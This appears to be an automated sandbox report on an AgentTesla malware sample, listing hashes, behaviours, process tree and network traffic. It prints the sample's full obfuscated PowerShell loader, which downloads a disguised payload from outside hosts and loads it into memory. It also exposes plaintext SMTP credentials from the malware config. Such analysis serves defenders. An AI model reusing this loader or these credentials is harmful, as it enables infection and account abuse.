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Analysis
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max time kernel
123s -
max time network
203s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/01/2025, 06:23 UTC
Static task
static1
Behavioral task
behavioral1
Sample
20250120.js
Resource
win7-20240729-en
General
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Target
20250120.js
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Size
155KB
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MD5
fe92c7ee393a2c87ccb3034c9ce18b14
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SHA1
8d2c9d5a5c985fb4feb466be1a4752d67042f4b7
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SHA256
85f2eb1ab28147d1353a0dbcc5592dcd955e6560e7a33015a303717c4b588d72
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SHA512
1adc6de119ce2090ce0752ece5d23e84dfa77e7ebe4505f7b4c5ef206808962b623d527cc888f2028e585f83d7261c7aec4241b90912c2e070eea38791c99ad4
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SSDEEP
768:loXxTexWHGJUY61tqTo7RkIwZnBN09oavEug4zdv9PCX9p6FHs5+hAQCx8PkYWXb:QTr8tIInBNKduYM5lOPTWf67ZqGxiZA0
Malware Config
Extracted
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
Extracted
Protocol: smtp- Host:
mail.ctdi.com.ph - Port:
587 - Username:
biz@ctdi.com.ph - Password:
A#f+Y]H8iO4a
Extracted
agenttesla
Protocol: smtp- Host:
mail.ctdi.com.ph - Port:
587 - Username:
biz@ctdi.com.ph - Password:
A#f+Y]H8iO4a - Email To:
ctdi.employees@ctdi.com.ph
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Agenttesla family
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 3420 powershell.exe 22 3420 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 3420 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 26 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3420 set thread context of 1052 3420 powershell.exe 97 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3420 powershell.exe 3420 powershell.exe 1052 MSBuild.exe 1052 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3420 powershell.exe Token: SeDebugPrivilege 1052 MSBuild.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5072 wrote to memory of 3420 5072 wscript.exe 83 PID 5072 wrote to memory of 3420 5072 wscript.exe 83 PID 3420 wrote to memory of 1052 3420 powershell.exe 97 PID 3420 wrote to memory of 1052 3420 powershell.exe 97 PID 3420 wrote to memory of 1052 3420 powershell.exe 97 PID 3420 wrote to memory of 1052 3420 powershell.exe 97 PID 3420 wrote to memory of 1052 3420 powershell.exe 97 PID 3420 wrote to memory of 1052 3420 powershell.exe 97 PID 3420 wrote to memory of 1052 3420 powershell.exe 97 PID 3420 wrote to memory of 1052 3420 powershell.exe 97
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3420 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1052
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Network
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Remote address:8.8.8.8:53Requestia600805.us.archive.orgIN AResponseia600805.us.archive.orgIN A207.241.227.155
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Remote address:207.241.227.155:443RequestGET /10/items/new_image_202501/new_image.jpg HTTP/1.1
Host: ia600805.us.archive.org
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Date: Mon, 20 Jan 2025 06:23:19 GMT
Content-Type: image/jpeg
Content-Length: 2759301
Last-Modified: Tue, 14 Jan 2025 14:24:50 GMT
Connection: keep-alive
ETag: "678673b2-2a1a85"
Strict-Transport-Security: max-age=15724800
Expires: Mon, 20 Jan 2025 12:23:19 GMT
Cache-Control: max-age=21600
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With
Access-Control-Allow-Credentials: true
Accept-Ranges: bytes
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Remote address:8.8.8.8:53Request232.168.11.51.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request155.227.241.207.in-addr.arpaIN PTRResponse155.227.241.207.in-addr.arpaIN PTRia600805usarchiveorg
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Remote address:8.8.8.8:53Request133.32.126.40.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request244.160.67.23.in-addr.arpaIN PTRResponse244.160.67.23.in-addr.arpaIN PTRa23-67-160-244deploystaticakamaitechnologiescom
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Remote address:8.8.8.8:53Request196.249.167.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Requestlindenappliances.co.zaIN AResponselindenappliances.co.zaIN A102.219.84.131
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Remote address:102.219.84.131:443RequestGET /adanne.txt HTTP/1.1
Host: lindenappliances.co.za
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Sun, 19 Jan 2025 20:43:13 GMT
Accept-Ranges: bytes
Content-Length: 327000
Keep-Alive: timeout=5, max=100
Content-Type: text/plain
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Remote address:8.8.8.8:53Request133.211.185.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request131.84.219.102.in-addr.arpaIN PTRResponse131.84.219.102.in-addr.arpaIN PTRzacp110webwayhost
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Remote address:8.8.8.8:53Requestip-api.comIN AResponseip-api.comIN A208.95.112.1
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Remote address:208.95.112.1:80RequestGET /line/?fields=hosting HTTP/1.1
Host: ip-api.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 6
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
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Remote address:8.8.8.8:53Request1.112.95.208.in-addr.arpaIN PTRResponse1.112.95.208.in-addr.arpaIN PTRip-apicom
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Remote address:8.8.8.8:53Requestmail.ctdi.com.phIN AResponsemail.ctdi.com.phIN CNAMEctdi.com.phctdi.com.phIN A182.18.209.194
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Remote address:8.8.8.8:53Requestmail.ctdi.com.phIN AResponsemail.ctdi.com.phIN CNAMEctdi.com.phctdi.com.phIN A182.18.209.194
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Remote address:8.8.8.8:53Request194.209.18.182.in-addr.arpaIN PTRResponse194.209.18.182.in-addr.arpaIN PTRskyskybbph
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Remote address:8.8.8.8:53Request56.163.245.4.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request241.42.69.40.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request22.49.80.91.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request29.243.111.52.in-addr.arpaIN PTRResponse
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207.241.227.155:443https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpgtls, httppowershell.exe62.5kB 2.9MB 1265 2050
HTTP Request
GET https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpgHTTP Response
200 -
6.3kB 341.7kB 129 249
HTTP Request
GET https://lindenappliances.co.za/adanne.txtHTTP Response
200 -
356 B 347 B 6 4
HTTP Request
GET http://ip-api.com/line/?fields=hostingHTTP Response
200 -
2.1kB 4.9kB 20 22
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69 B 85 B 1 1
DNS Request
ia600805.us.archive.org
DNS Response
207.241.227.155
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72 B 158 B 1 1
DNS Request
232.168.11.51.in-addr.arpa
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74 B 111 B 1 1
DNS Request
155.227.241.207.in-addr.arpa
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72 B 158 B 1 1
DNS Request
133.32.126.40.in-addr.arpa
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72 B 137 B 1 1
DNS Request
244.160.67.23.in-addr.arpa
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73 B 147 B 1 1
DNS Request
196.249.167.52.in-addr.arpa
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68 B 84 B 1 1
DNS Request
lindenappliances.co.za
DNS Response
102.219.84.131
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73 B 147 B 1 1
DNS Request
133.211.185.52.in-addr.arpa
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73 B 106 B 1 1
DNS Request
131.84.219.102.in-addr.arpa
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56 B 72 B 1 1
DNS Request
ip-api.com
DNS Response
208.95.112.1
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71 B 95 B 1 1
DNS Request
1.112.95.208.in-addr.arpa
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124 B 184 B 2 2
DNS Request
mail.ctdi.com.ph
DNS Request
mail.ctdi.com.ph
DNS Response
182.18.209.194
DNS Response
182.18.209.194
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73 B 99 B 1 1
DNS Request
194.209.18.182.in-addr.arpa
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71 B 157 B 1 1
DNS Request
56.163.245.4.in-addr.arpa
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70 B 145 B 1 1
DNS Request
22.49.80.91.in-addr.arpa
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71 B 145 B 1 1
DNS Request
241.42.69.40.in-addr.arpa
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72 B 158 B 1 1
DNS Request
29.243.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82